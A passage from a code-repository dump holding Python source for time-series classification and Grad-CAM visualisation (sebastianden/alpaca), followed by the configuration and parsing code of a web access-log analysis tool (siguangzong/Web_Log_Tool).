model.add(Dense(num_classes, activation='softmax',name='predictions'))\n model.compile(optimizer='adam', loss='sparse_categorical_crossentropy', metrics=['accuracy'])\n plot_model(model,dpi = 300, show_shapes=True, to_file='models\\\\cnn.png')\n return model\n" }, { "alpha_fraction": 0.5402608513832092, "alphanum_fraction": 0.5483413934707642, "avg_line_length": 30.7747745513916, "blob_id": "6b451cd71e6f4b468385bcb6d8a07988b97e50db", "content_id": "38e118fb7718d1b294c5b79e04390d4698ec32fe", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14108, "license_type": "permissive", "max_line_length": 111, "num_lines": 444, "path": "/src/utils.py", "repo_name": "sebastianden/alpaca", "src_encoding": "UTF-8", "text": "import matplotlib.pyplot as plt\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.utils.multiclass import unique_labels\nfrom scipy.stats import kurtosis, skew\nimport numpy as np\nimport pandas as pd\nfrom sklearn.base import TransformerMixin, BaseEstimator\nfrom sklearn import tree\nimport graphviz\n\n\n# Load the testbench data\ndef load_test():\n df = pd.read_pickle('data\\\\df_test.pkl')\n pivoted = df.pivot(index='sample_nr',columns='idx')\n X = np.stack([pivoted['position'].values, pivoted['velocity'].values, pivoted['current'].values], axis=2)\n y = df.groupby('sample_nr').target.first().values\n return X, y\n\n# Load any dataset (WARNING: predefined length!)\ndef load_data(dataset):\n if dataset == 'test':\n X, y = load_test()\n sz = 230\n elif dataset == 'uc1':\n X, y = split_df(pd.read_pickle('data\\\\df_uc1.pkl'),\n index_column='run_id',\n feature_columns=['fldPosition', 'fldCurrent'],\n target_name='target')\n # Length of timeseries for resampler and cnn\n sz = 38\n elif dataset == 'uc2':\n X, y = split_df(pd.read_pickle('data\\\\df_uc2.pkl'),\n index_column='run_id',\n feature_columns=['position', 'force'],\n target_name='label')\n # Length of timeseries for resampler and cnn\n sz = 200\n resampler = TimeSeriesResampler(sz=sz)\n X = resampler.fit_transform(X, y)\n y = np.array(y)\n return X, y\n\n# Load and split UC1 and UC2 datasets\ndef split_df(df,index_column, feature_columns, target_name):\n labels = []\n features = []\n for id_, group in df.groupby(index_column):\n features.append(group[feature_columns].values.tolist())\n labels.append(group[target_name].iloc[0])\n return features, labels\n\n# Function to plot confusion matrix\ndef plot_confusion_matrix(y_true, y_pred, classes,\n normalize=False,\n title=None,\n cmap=plt.cm.Blues):\n \"\"\"\n This function prints and plots the confusion matrix.\n Normalization can be applied by setting `normalize=True`.\n \"\"\"\n if not title:\n if normalize:\n title = 'Normalized confusion matrix'\n else:\n title = 'Confusion matrix, without normalization'\n\n # Compute confusion matrix\n cm = confusion_matrix(y_true, y_pred)\n # Only use the labels that appear in the data\n classes = classes[unique_labels(y_true, y_pred)]\n \"\"\"\n if normalize:\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n print(\"Normalized confusion matrix\")\n else:\n print('Confusion matrix, without normalization')\n\n print(cm)\n \"\"\"\n\n fig, ax = plt.subplots()\n im = ax.imshow(cm, interpolation='nearest', cmap=cmap)\n #ax.figure.colorbar(im, ax=ax)\n # We want to show all ticks...\n ax.set(xticks=np.arange(cm.shape[1]),\n yticks=np.arange(cm.shape[0]),\n # ... and label them with the respective list entries\n xticklabels=classes, yticklabels=classes,\n ylabel='True label',\n xlabel='Predicted label')\n # Matplotlib 3.1.1 bug workaround\n ax.set_ylim(len(cm)-0.5, -0.5)\n\n # Rotate the tick labels and set their alignment.\n plt.setp(ax.get_xticklabels(), rotation=45, ha=\"right\",\n rotation_mode=\"anchor\")\n\n # Loop over data dimensions and create text annotations.\n fmt = '.2f' if normalize else 'd'\n thresh = cm.max() / 2.\n for i in range(cm.shape[0]):\n for j in range(cm.shape[1]):\n ax.text(j, i, format(cm[i, j], fmt),\n ha=\"center\", va=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\")\n fig.tight_layout()\n return ax\n\ndef to_time_series_dataset(dataset):\n \"\"\"Transforms a time series dataset so that it has the following format:\n (no_time_series, no_time_samples, no_features)\n\n Parameters\n ----------\n dataset : array-like\n The dataset of time series to be transformed.\n Returns\n -------\n numpy.ndarray of shape\n (no_time_series, no_time_samples, no_features)\n \"\"\"\n assert len(dataset) != 0, 'dataset is empty'\n\n try:\n np.array(dataset, dtype=np.float)\n except ValueError:\n raise AssertionError('All elements must have the same length.')\n\n if np.array(dataset[0]).ndim == 0:\n dataset = [dataset]\n\n if np.array(dataset[0]).ndim == 1:\n no_time_samples = len(dataset[0])\n no_features = 1\n else:\n no_time_samples, no_features = np.array(dataset[0]).shape\n\n return np.array(dataset, dtype=np.float).reshape(\n len(dataset),\n no_time_samples,\n no_features)\n\n\ndef to_dataset(dataset):\n \"\"\"Transforms a time series dataset so that it has the following format:\n (no_time_series, no_time_samples, no_features) where no_time_samples\n for different time sereies can be different.\n\n Parameters\n ----------\n dataset : array-like\n The dataset of time series to be transformed.\n Returns\n -------\n list of np.arrays\n (no_time_series, no_time_samples, no_features)\n \"\"\"\n assert len(dataset) != 0, 'dataset is empty'\n\n if np.array(dataset[0]).ndim == 0:\n dataset = [[d] for d in dataset]\n\n if np.array(dataset[0]).ndim == 1:\n no_features = 1\n dataset = [[[d] for d in data] for data in dataset]\n else:\n no_features = len(dataset[0][0])\n\n for data in dataset:\n try:\n array = np.array(data, dtype=float)\n except ValueError:\n raise AssertionError(\n \"All samples must have the same number of features!\")\n assert array.shape[-1] == no_features,\\\n 'All series must have the same no features!'\n\n return dataset\n\nclass TimeSeriesResampler(TransformerMixin):\n \"\"\"Resampler for time series. Resample time series so that they reach the\n target size.\n\n Parameters\n ----------\n no_output_samples : int\n Size of the output time series.\n \"\"\"\n def __init__(self, sz):\n self._sz = sz\n\n def fit(self, X, y=None, **kwargs):\n return self\n\n def _interp(self, x):\n return np.interp(\n np.linspace(0, 1, self._sz),\n np.linspace(0, 1, len(x)),\n x)\n\n def transform(self, X, **kwargs):\n X_ = to_dataset(X)\n res = [np.apply_along_axis(self._interp, 0, x) for x in X_]\n return to_time_series_dataset(res)\n\nclass TimeSeriesScalerMeanVariance(TransformerMixin):\n \"\"\"Scaler for time series. Scales time series so that their mean (resp.\n standard deviation) in each dimension. The mean and std can either be\n constant (one value per feature over all times) or time varying (one value\n per time step per feature).\n\n Parameters\n ----------\n kind: str (one of 'constant', or 'time-varying')\n mu : float (default: 0.)\n Mean of the output time series.\n std : float (default: 1.)\n Standard deviation of the output time series.\n \"\"\"\n def __init__(self, kind='constant', mu=0., std=1.):\n assert kind in ['time-varying', 'constant'],\\\n 'axis should be one of time-varying or constant'\n self._axis = (1, 0) if kind == 'constant' else 0\n self.mu_ = mu\n self.std_ = std\n\n def fit(self, X, y=None, **kwargs):\n X_ = to_time_series_dataset(X)\n self.mean_t = np.mean(X_, axis=self._axis)\n self.std_t = np.std(X_, axis=self._axis)\n self.std_t[self.std_t == 0.] = 1.\n\n return self\n\n def transform(self, X, **kwargs):\n \"\"\"Fit to data, then transform it.\n Parameters\n ----------\n X\n Time series dataset to be rescaled\n Returns\n -------\n numpy.ndarray\n Rescaled time series dataset\n \"\"\"\n X_ = to_time_series_dataset(X)\n X_ = (X_ - self.mean_t) * self.std_ / self.std_t + self.mu_\n\n return X_\n\n\nclass Flattener(TransformerMixin):\n \"\"\"Flattener for time series. Reduces the dataset by one dimension by\n flattening the channels\"\"\"\n\n def __init__(self):\n pass\n\n def fit(self,X, y=None, **kwargs):\n return self\n\n def transform(self, X, **kwargs):\n \"\"\"Transform data.\n Parameters\n ----------\n X\n Time series dataset to be rescaled\n Returns\n -------\n numpy.ndarray\n Flattened time series dataset\n \"\"\"\n X_ = X.transpose(0, 2, 1).reshape(X.shape[0],-1)\n return X_\n\nclass Differentiator(TransformerMixin):\n \"\"\"Calculates the derivative of a specified channel and and appends\n it as new channel\"\"\"\n def __init__(self, channel):\n \"\"\"Initialise Featuriser.\n Parameters\n ----------\n channel\n int, channel to calculate derivative from\n \"\"\"\n self.channel = channel\n\n def fit(self,X, y=None, **kwargs):\n return self\n\n def transform(self, X, **kwargs):\n \"\"\"Transform data.\n Parameters\n ----------\n X\n Time series dataset\n Returns\n -------\n numpy.ndarray\n Time series dataset with new channel\n \"\"\"\n dt = np.diff(X[:, :, self.channel], axis=1, prepend=X[0, 0, self.channel])\n X = np.concatenate((X, np.expand_dims(dt, axis=2)), axis=2)\n return X\n\n\nclass Featuriser(TransformerMixin, BaseEstimator):\n \"\"\"Featuriser for time series. Calculates a set of statistical measures\n on each channel and each defined window of the dataset and returns a\n flattened matrix to train sklearn models on\"\"\"\n\n def __init__(self, windows=1):\n \"\"\"Initialise Featuriser.\n Parameters\n ----------\n windows\n int, number of windows to part the time series in\n \"\"\"\n self.windows = windows\n\n def fit(self,X, y=None, **kwargs):\n return self\n\n def transform(self, X, **kwargs):\n \"\"\"Transform data.\n Parameters\n ----------\n X\n Time series dataset to be rescaled\n Returns\n -------\n numpy.ndarray\n Featurised time series dataset\n \"\"\"\n X_ = np.empty((X.shape[0], 0))\n for i in range(X.shape[2]):\n for window in np.array_split(X[:, :, i], self.windows, axis=1):\n mean = np.mean(window, axis=1)\n std = np.std(window, axis=1)\n min_d = np.min(window, axis=1)\n min_loc = np.argmin(window, axis=1)\n max_d = np.max(window, axis=1)\n max_loc = np.argmax(window, axis=1)\n # Concatenate all values to a numpy array\n row = [mean, std, min_d, min_loc, max_d, max_loc]\n row = np.transpose(np.vstack(row))\n X_ = np.hstack([X_, row])\n return X_\n\n\nclass Featuriser2(TransformerMixin):\n \"\"\"Deprecated. Featuriser for time series. Calculates a set of statistical measures\n on each channel of the dataset and returns a flattened matrix to train\n sklearn models on\"\"\"\n\n def __init__(self):\n pass\n\n def fit(self,X, y=None, **kwargs):\n return self\n\n def transform(self, X, **kwargs):\n \"\"\"Transform data.\n Parameters\n ----------\n X\n Time series dataset to be rescaled\n Returns\n -------\n numpy.ndarray\n Featurised time series dataset\n \"\"\"\n X_ = np.empty((X.shape[0], 0))\n for i in range(X.shape[2]):\n table = np.empty((0, 14))\n for x in X[:, :, i]:\n mean = np.mean(x)\n var = np.var(x)\n max_d = x.max()\n max_loc = np.argmax(x)\n min_d = x.min()\n min_loc = np.argmin(x)\n range_d = max_d - min_d\n med = np.median(x)\n first = x[0]\n last = x[-1]\n skew_d = skew(x)\n kurt = kurtosis(x)\n sum = np.sum(x)\n mean_abs_change = np.mean(np.abs(np.diff(x)))\n # Concatenate all values to a numpy array\n row = [mean, var, med, first, last, range_d, min_d, min_loc, max_d, max_loc, skew_d, kurt, sum,\n mean_abs_change]\n row = np.hstack(row)\n table = np.vstack([table, row])\n X_ = np.hstack((X_,table))\n return X_\n\nclass Cutter(TransformerMixin):\n \"\"\"Cuts the last part of the curves.\"\"\"\n\n def fit(self, X, y=None, **kwargs):\n return self\n\n def transform(self, X, **kwargs):\n \"\"\"Transform data.\n Parameters\n ----------\n X\n Time series dataset to be rescaled\n Returns\n -------\n list\n Cut time series dataset\n \"\"\"\n res = []\n for x in X:\n idx = np.argmax(np.array(x)[:, 0])\n res.append(x[:idx])\n return res\n\ndef plot_dtc(dtc):\n feature_names = []\n #channels = [\"$pos\",\"$vel\",\"$cur\"] # test case\n #channels = [\"$pos\",\"$cur\"] # use case 1\n #channels = [\"$pos\",\"$cur\",\"$vel\"] # use case 1 with derived velocity\n channels = [\"$pos\",\"$for\"] # use case 2\n for var in channels:\n for i in range(1,int((dtc.n_features_/6/len(channels))+1)):\n for f in [\"{mean}$\",\"{std}$\",\"{min}$\",\"{min-ind}$\",\"{max}$\",\"{max-ind}$\"]:\n feature_names.append('{0}^{1}_{2}'.format(var,i,f))\n \n #target_names = [\"0\",\"1\",\"2\",\"3\",\"4\"] # test case\n target_names = [\"0\",\"1\",\"2\",\"3\"] # use case 1 + 2\n\n dot_data = tree.export_graphviz(dtc, out_file=None,\n feature_names=feature_names,\n class_names=target_names,\n filled=False, rounded=True,\n special_characters=True)\n graph = graphviz.Source(dot_data)\n graph.format = 'svg'\n graph.render(\"models\\\\dtc\")\n" }, { "alpha_fraction": 0.5482360124588013, "alphanum_fraction": 0.5610365271568298, "avg_line_length": 35.7931022644043, "blob_id": "00fdaaed8e078546e47f6e206c75f32c47cc600e", "content_id": "e665df9102677113cee20b7a3e9bc18fb4295bed", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3203, "license_type": "permissive", "max_line_length": 108, "num_lines": 87, "path": "/src/test_voting.py", "repo_name": "sebastianden/alpaca", "src_encoding": "UTF-8", "text": "from alpaca import Alpaca\nfrom utils import load_test, split_df, TimeSeriesResampler,confusion_matrix\nimport time\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.utils import shuffle\nfrom sklearn.pipeline import Pipeline\nimport numpy as np\nimport pandas as pd\n\n\nif __name__ == '__main__':\n\n X, y = load_test()\n # Length of timeseries for resampler and cnn\n sz = 230\n # Number of channels for cnn\n num_channels = X.shape[-1]\n # Number of classes for cnn\n num_classes = np.unique(y).shape[0]\n classes = np.array([\"0\", \"1\", \"2\", \"3\", \"4\", \"?\"])\n\n repetitions = 1\n\n results = []\n outliers = np.empty((0, 230*3+5))\n\n for r in range(repetitions):\n print(\"Repetition #\",r)\n\n X, y = shuffle(X, y, random_state=r)\n # Turn y to numpy array\n y = np.array(y)\n # Split into train and test sets\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, stratify=y, random_state=r)\n\n for votingstr in [\"democratic\", \"veto\", \"stacked_svc\", \"stacked_dtc\"]:\n\n if votingstr == 'stacked_svc':\n meta = 'svc'\n elif votingstr == 'stacked_dtc':\n meta = 'dtc'\n\n if votingstr == 'stacked_svc' or votingstr == 'stacked_dtc':\n voting = 'stacked'\n stacked = True\n else:\n stacked = False\n voting = votingstr\n meta = None\n\n # Build pipeline from resampler and estimator\n resampler = TimeSeriesResampler(sz=sz)\n alpaca = Pipeline([('resampler', resampler),\n ('classifier', Alpaca())])\n alpaca.fit(X_train, y_train, classifier__stacked=stacked, classifier__n_clusters=100)\n y_pred_bin, y_pred = alpaca.predict(X_test, voting=voting)\n\n # Plot confusion matrix (Binary)\n y_test_bin = np.copy(y_test)\n y_test_bin[y_test_bin > 0] = 1\n\n tn, fp, fn, tp = confusion_matrix(y_test_bin, y_pred_bin).ravel()\n\n # Append overall error\n results.append([votingstr, r, 'err', (fp+fn)/(tn+fp+fn+tp)])\n\n # Append false negative rate\n results.append([votingstr, r, 'fnr', fn/(fn+tp)])\n\n # Append false positive rate\n results.append([votingstr, r, 'fpr', fp/(fp+tn)])\n\n # Save misclassified samples (with y_pred,y_pred_bin, y_true, and voting scheme)\n idx = np.where(y_test_bin != y_pred_bin)\n # Flattened curves\n curves = X_test[idx].transpose(0, 2, 1).reshape(X_test[idx].shape[0],-1)\n vote_type = np.array([votingstr for i in range(idx[0].shape[0])]).reshape((-1,1))\n wrong = np.hstack([curves, y_pred[idx].reshape((-1,1)),y_test[idx].reshape((-1,1)),\n y_pred_bin[idx].reshape((-1,1)),y_test_bin[idx].reshape((-1,1)), vote_type])\n outliers = np.vstack((outliers,wrong))\n\n\n df = pd.DataFrame(outliers)\n df.to_csv(\"..\\\\results\\\\OutliersVotingTest.csv\")\n\n df = pd.DataFrame(results, columns=['voting', 'test', 'metric', 'value'])\n df.to_csv(\"..\\\\results\\\\VotingTest.csv\")\n\n\n" }, { "alpha_fraction": 0.6097561120986938, "alphanum_fraction": 0.7439024448394775, "avg_line_length": 10.571428298950195, "blob_id": "b43b2a74d4925e4b2ac72fd5666ecda0cd9dd490", "content_id": "b2692983ef71ea7888b8b3fdaf48c60b9043be0e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 82, "license_type": "permissive", "max_line_length": 20, "num_lines": 7, "path": "/requirements.txt", "repo_name": "sebastianden/alpaca", "src_encoding": "UTF-8", "text": "numpy\nscipy\npandas\ncython\nscikit-learn==0.22.1\ntslearn==0.2.5\ntensorflow==1.15.4\n\n" }, { "alpha_fraction": 0.6317626237869263, "alphanum_fraction": 0.6570680737495422, "avg_line_length": 28.41025733947754, "blob_id": "06d83e0cbe4edb0dadf89273540c85ba36a365f2", "content_id": "fa913dbe2c0c736d29e763a16d79b25d08f86fd8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1146, "license_type": "permissive", "max_line_length": 102, "num_lines": 39, "path": "/src/gridsearch_results.py", "repo_name": "sebastianden/alpaca", "src_encoding": "UTF-8", "text": "import pandas as pd\nimport numpy as np\nfrom mpl_toolkits.mplot3d import Axes3D\nimport matplotlib.pyplot as plt\nfrom matplotlib import cm\n\n\ndef univariant(df, param, quantity='mean_test_score'):\n unique = df[param].unique()\n scores = []\n for i in unique:\n scores.append(df[df[param] == i][quantity].mean())\n\n plt.plot(unique, scores)\n plt.show()\n\n\ndef multivariant(df, param1, param2,quantity='mean_test_score'):\n unique1 = df[param1].unique()\n unique2 = df[param2].unique()\n unique1, unique2 = np.meshgrid(unique1, unique2)\n scores = np.zeros(unique1.shape)\n\n for i, p1 in enumerate(unique1[0]):\n for j, p2 in enumerate(unique2[0]):\n scores[i, j] = df[(df[param1] == p1) & (df[param2] == p2)][quantity].values.mean()\n\n fig = plt.figure()\n ax = fig.gca(projection='3d')\n\n surf = ax.plot_surface(unique1, unique2, scores, cmap=cm.coolwarm, linewidth=0, antialiased=False)\n ax.set_xlabel(param1)\n ax.set_ylabel(param2)\n ax.set_zlabel(\"Accuracy\")\n plt.show()\n\n\ndf = pd.read_csv(\"..\\\\results\\\\cnn.csv\")\nunivariant(df, param='param_cnn__len_filter',quantity='mean_score_time')" }, { "alpha_fraction": 0.6232566237449646, "alphanum_fraction": 0.6373718976974487, "avg_line_length": 38.144737243652344, "blob_id": "d8638311eea8da397ec96250836c7715e71370ad", "content_id": "122b1481bdc5a583cc1bf23ef287030cd1c74810", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5952, "license_type": "permissive", "max_line_length": 126, "num_lines": 152, "path": "/src/cam.py", "repo_name": "sebastianden/alpaca", "src_encoding": "UTF-8", "text": "import tensorflow.keras.backend as K\nimport tensorflow.keras\nfrom tensorflow.keras.layers import Lambda\nfrom tensorflow.keras.models import Model, load_model\ntensorflow.compat.v1.disable_eager_execution()\nimport tensorflow as tf\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom utils import to_time_series_dataset, split_df, load_test, TimeSeriesResampler, TimeSeriesScalerMeanVariance\nfrom scipy.interpolate import interp1d\n\nimport seaborn as sns\nsns.set(style='white',font='Palatino Linotype',font_scale=1,rc={'axes.grid' : False})\n\n\ndef get_model(id):\n model = load_model('.\\\\models\\\\cam_cnn_'+id+'.h5')\n return model\n\n\ndef target_category_loss(x, category_index, nb_classes):\n return tf.multiply(x, K.one_hot([category_index], nb_classes))\n\n\ndef target_category_loss_output_shape(input_shape):\n return input_shape\n\n\ndef normalize(x):\n # utility function to normalize a tensor by its L2 norm\n return x / (K.sqrt(K.mean(K.square(x))) + 1e-5)\n\n\ndef load_data(dataset):\n if dataset == 'test':\n X, y = load_test()\n sz = 230\n elif dataset == 'uc1':\n X, y = split_df(pd.read_pickle('..\\\\data\\\\df_uc1.pkl'),\n index_column='run_id',\n feature_columns=['fldPosition', 'fldCurrent'],\n target_name='target')\n # Length of timeseries for resampler and cnn\n sz = 38\n elif dataset == 'uc2':\n X, y = split_df(pd.read_pickle('..\\\\data\\\\df_uc2.pkl'),\n index_column='run_id',\n feature_columns=['position', 'force'],\n target_name='label')\n # Length of timeseries for resampler and cnn\n sz = 200\n resampler = TimeSeriesResampler(sz=sz)\n X = resampler.fit_transform(X, y)\n y = np.array(y)\n return X, y\n\n\ndef get_sample(X, y, label, rs=100):\n s = np.random.RandomState(rs)\n s = s.choice(np.where(y == label)[0], 1)\n x_raw = to_time_series_dataset(X[s, :, :])\n scaler = TimeSeriesScalerMeanVariance(kind='constant')\n X = scaler.fit_transform(X)\n x_proc = to_time_series_dataset(X[s, :, :])\n return x_proc, x_raw\n\n\ndef _compute_gradients(tensor, var_list):\n grads = tf.gradients(tensor, var_list)\n return [grad if grad is not None else tf.zeros_like(var) for var, grad in zip(var_list, grads)]\n\n\ndef grad_cam(input_model, data, category_index, nb_classes, layer_name):\n # Lambda function for getting target category loss\n target_layer = lambda x: target_category_loss(x, category_index, nb_classes)\n # Lambda layer for function\n x = Lambda(target_layer, output_shape = target_category_loss_output_shape)(input_model.output)\n # Add Lambda layer as output to model\n model = Model(inputs=input_model.input, outputs=x)\n #model.summary()\n # Function for getting target category loss y^c\n loss = K.sum(model.output)\n # Get the layer with \"layer_name\" as name\n conv_output = [l for l in model.layers if l.name == layer_name][0].output\n # Define function to calculate gradients\n grads = normalize(_compute_gradients(loss, [conv_output])[0])\n gradient_function = K.function([model.input], [conv_output, grads])\n\n # Calculate convolution layer output and gradients for datasample\n output, grads_val = gradient_function([data])\n output, grads_val = output[0, :], grads_val[0, :, :]\n\n # Calculate the neuron importance weights as mean of gradients\n weights = np.mean(grads_val, axis = 0)\n # Calculate CAM by multiplying weights with the respective output\n cam = np.zeros(output.shape[0:1], dtype = np.float32)\n for i, w in enumerate(weights):\n cam += w * output[:, i]\n # Interpolate CAM to get it back to the original data resolution\n f = interp1d(np.linspace(0, 1, cam.shape[0]), cam, kind=\"slinear\")\n cam = f(np.linspace(0,1,data.shape[1]))\n # Apply ReLU function to only get positive values\n cam[cam < 0] = 0\n\n return cam\n\n\ndef plot_grad_cam(cam, raw_input, cmap, alpha, language='eng'):\n fig, ax = plt.subplots(raw_input.shape[-1], 1, figsize=(15, 9), sharex=True)\n # fig.suptitle('Gradient Class Activation Map for sample of class %d' %predicted_class)\n if language == 'eng':\n ax_ylabel = [r\"Position $\\mathit{z}$ in mm\", r\"Velocity $\\mathit{v}$ in m/s\", r\"Current $\\mathit{I}$ in A\"]\n if language == 'ger':\n ax_ylabel = [r\"Position $\\mathit{z}$ in mm\", r\"Geschwindigkeit $\\mathit{v}$ in m/s\", r\"Stromstärke $\\mathit{I}$ in A\"]\n for i, a in enumerate(ax):\n left, right = (-1, raw_input.shape[1] + 1)\n range_input = raw_input[:, :, i].max() - raw_input[:, :, i].min()\n down, up = (raw_input[:, :, i].min() - 0.1 * range_input, raw_input[:, :, i].max() + 0.1 * range_input)\n a.set_xlim(left, right)\n a.set_ylim(down, up)\n a.set_ylabel(ax_ylabel[i])\n im = a.imshow(cam.reshape(1, -1), extent=[left, right, down, up], aspect='auto', alpha=alpha, cmap=cmap)\n a.plot(raw_input[0, :, i], linewidth=2, color='k')\n fig.subplots_adjust(right=0.8)\n cbar_ax = fig.add_axes([0.85, 0.15, 0.05, 0.7])\n cbar = fig.colorbar(im, cax=cbar_ax)\n if language == 'eng':\n cbar_ax.set_ylabel('Activation', rotation=90, labelpad=15)\n if language == 'ger':\n cbar_ax.set_ylabel('Aktivierung', rotation=90, labelpad=15)\n return ax\n\nif __name__ == \"__main__\":\n\n X, y = load_data('test')\n nb_classes = np.unique(y).shape[0]\n # Load model and datasample\n preprocessed_input, raw_input = get_sample(X, y, label=1)\n model = get_model('test')\n\n # Get prediction\n predictions = model.predict(preprocessed_input)\n predicted_class = np.argmax(predictions)\n print('Predicted class: ', predicted_class)\n\n # Calculate Class Activation Map\n cam = grad_cam(model, preprocessed_input, predicted_class, nb_classes, 'block2_conv1')\n ax = plot_grad_cam(cam, raw_input, 'jet', 1)\n plt.show()\n\n" } ]
10
siguangzong/Web_Log_Tool
https://github.com/siguangzong/Web_Log_Tool
50309dbcc53d5c94cc49759012eddfebb79dc6c9
5c35ad793653b7a517cee232fab74c86959eac84
02adafcd0bedb2e4906460634e43af6963783af6
refs/heads/master
2020-04-18T02:06:20.186366
2019-01-23T08:41:22
2019-01-23T08:41:22
167,147,660
3
1
null
null
null
null
null
[ { "alpha_fraction": 0.6311239004135132, "alphanum_fraction": 0.6570605039596558, "avg_line_length": 32.59677505493164, "blob_id": "bf2617220a7407795f22b25b1b129fd149067883", "content_id": "111a8ddc83a6cc52f133d0b3533ada16e1ffafab", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 2476, "license_type": "permissive", "max_line_length": 154, "num_lines": 62, "path": "/web-log-parser/conf/config.ini", "repo_name": "siguangzong/Web_Log_Tool", "src_encoding": "UTF-8", "text": "[format]\n#log-pattern=(\\S+)\\s-\\s-\\s\\[([^]]+)\\s\\S+]\\s\"(\\w+)\\s(\\S+)\\s([^\"]+)\"\\s(\\d+)\\s(\\S+)\\s(\\S+)\\s(\\S+)\\s\"([^\"]+)\"\\s\"([^\"]+)\"\\s\"([^\"]+)\"\\s(\\S+)\\s\"([^\"]+)\"\\s(\\S+).*\n#log-format=ip datetime method url protocol status business_status instance_id length referer agent real_ip cost host hostname\n\n#log-pattern=(\\S+)\\s\\S+\\s(\\S+)\\s(\\S+)\\s(\\d+)\\s(\\S+)\\s(\\S+)\\s(\\S+)\\s(\\S+)\\s(\\S+)\n\n\n#log-pattern=(.*?)\\s-\\s-\\s\\[(.*?)\\]\\s\"(.*?)\\s(.*?)\\s(.*?)\"\\s(.*?)\\s\n\n#log-pattern = (.*?):.*?\\[.*?\\].*?\\[(.*?)\\]\\s(.*?)\\s(.*?)\\s.*?msecs\\s\\((.*?)\\s(.*?)\\)\n\nlog-pattern = (.*?):.*?\\[.*?\\].*?\\[(.*?)\\]\\s(.*?)\\s(.*?)\\s.*?in\\s(\\d+)\\smsecs\\s\\((.*?)\\s(.*?)\\)\n\n#log-format= real_ip datetime method url status protocol business_status cost host hostname real_ip\nlog-format= real_ip datetime method url cost protocol status\n\n\n[filter]\n# 支持的方法\nsupport_method=POST,GET\n# 是否带参数进行分析(但会包括awalys_parameter_keys所指定的参数)\nis_with_parameters=0\nalways_parameter_keys=action\n# 访问量排行最大请求数量\nurls_most_number=200\n# 访问量排行的最低PV阀值,低于该阀值的不会进入访问量排行\nurls_pv_threshold=1000\n# 当日志统计时长小于urls_pv_threshold_time的情况下,将会使用urls_pv_threshold_min作为最低PV阀值\nurls_pv_threshold_time=600\nurls_pv_threshold_min=100\n\n# 忽略的url的后缀进行统计,如请求是/customer/get/list.json,将会重写为/customer/get/list进行统计\nignore_url_suffix=.json\n\n# 固定的参数,但is_with_parameters=1时,不会替换一下key的值\nfixed_parameter_keys=action,submitType,reportType\n# 自定义的参数转换\ncustom_parameters=t={timeStamp},v={timeStamp},_={timeStamp}\n# 忽略的URL\nignore_urls=/slb.html,/server-status,/httpstatus.html,/server-status-dinghuo/,/server-status-dinghuo\n# 忽略的请求类型\nstatic-file=css,CSS,dae,DAE,eot,EOT,gif,GIF,ico,ICO,jpeg,JPEG,jpg,JPG,js,JS,map,MAP,mp3,MP3,pdf,PDF,png,PNG,svg,SVG,swf,SWF,ttf,TTF,txt,TXT,woff,WOFF\n\n[report]\n# 是否开启每秒PV曲线图\nsecond_line_flag=1\n# 是否开启耗时占比分布图\ncost_time_percentile_flag=1\n# 是否开启耗时分布图\ncost_time_flag=1\n# 耗时阈值,超过该值的请求会标红\ncost_time_threshold=0.500\n# 是否上传数据\nupload_flag=0\n# upload_url=http://192.168.1.181:5000/logs/upload/\nupload_url=http://192.168.0.126:8000/logs/upload/\n\n[goaccess]\ngoaccess_flag=0\ntime-format=%H:%M:%S\ndate-format=%d/%b/%Y\ngoaccess-log-format=%h %^[%d:%t %^] \"%r\" %s %b \"%R\" \"%u\"" }, { "alpha_fraction": 0.5415193438529968, "alphanum_fraction": 0.5616388320922852, "avg_line_length": 40.10776901245117, "blob_id": "f8ec310a0e72c7074517b7ced20fec1a1fd0f9d3", "content_id": "d6f2703690d11f7e6b82e824fd931435d5dfa4af", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 16898, "license_type": "permissive", "max_line_length": 139, "num_lines": 399, "path": "/web-log-parser/bin/start.py", "repo_name": "siguangzong/Web_Log_Tool", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\nimport os\nimport re\nimport json\nimport time\nimport traceback\nimport datetime\nfrom collections import Counter\nfrom numpy import var, average, percentile\n\nfrom bin.util import get_dir_files\nfrom bin.config import config\nfrom bin.report import generate_web_log_parser_report\nfrom bin.report import generate_web_log_parser_urls\nfrom bin.report import update_index_html\n\n\nclass URLData:\n def __init__(self, url=None, pv=None, ratio=None, peak=None):\n self.url = url\n self.pv = pv\n self.ratio = ratio\n self.peak = peak\n self.time = []\n self.cost = []\n self.cost_time = {'p9': None, 'p8': None, 'p5': None, 'avg': None, 'variance': None}\n\n def get_data(self):\n return {'url': self.url, 'pv': self.pv, 'ratio': self.ratio,\n 'peak': self.peak, 'cost_time': self.cost_time}\n\n\ndef parse_log_format():\n log_format_index = {}\n log_format_list = config.log_format.split()\n for item in log_format_list:\n if item == 'ip':\n log_format_index.setdefault('ip_index', log_format_list.index(item) + 1)\n if item == 'real_ip':\n log_format_index.setdefault('real_ip_index', log_format_list.index(item) + 1)\n if item == 'datetime':\n log_format_index.setdefault('time_index', log_format_list.index(item) + 1)\n if item == 'url':\n log_format_index.setdefault('url_index', log_format_list.index(item) + 1)\n if item == 'method':\n log_format_index.setdefault('method_index', log_format_list.index(item) + 1)\n if item == 'protocol':\n log_format_index.setdefault('protocol_index', log_format_list.index(item) + 1)\n if item == 'cost':\n log_format_index.setdefault('cost_time_index', log_format_list.index(item) + 1)\n if item == 'status':\n log_format_index.setdefault('status', log_format_list.index(item) + 1)\n\n if 'real_ip_index' in log_format_index.keys():\n log_format_index.setdefault('host_index', log_format_list.index('real_ip') + 1)\n else:\n 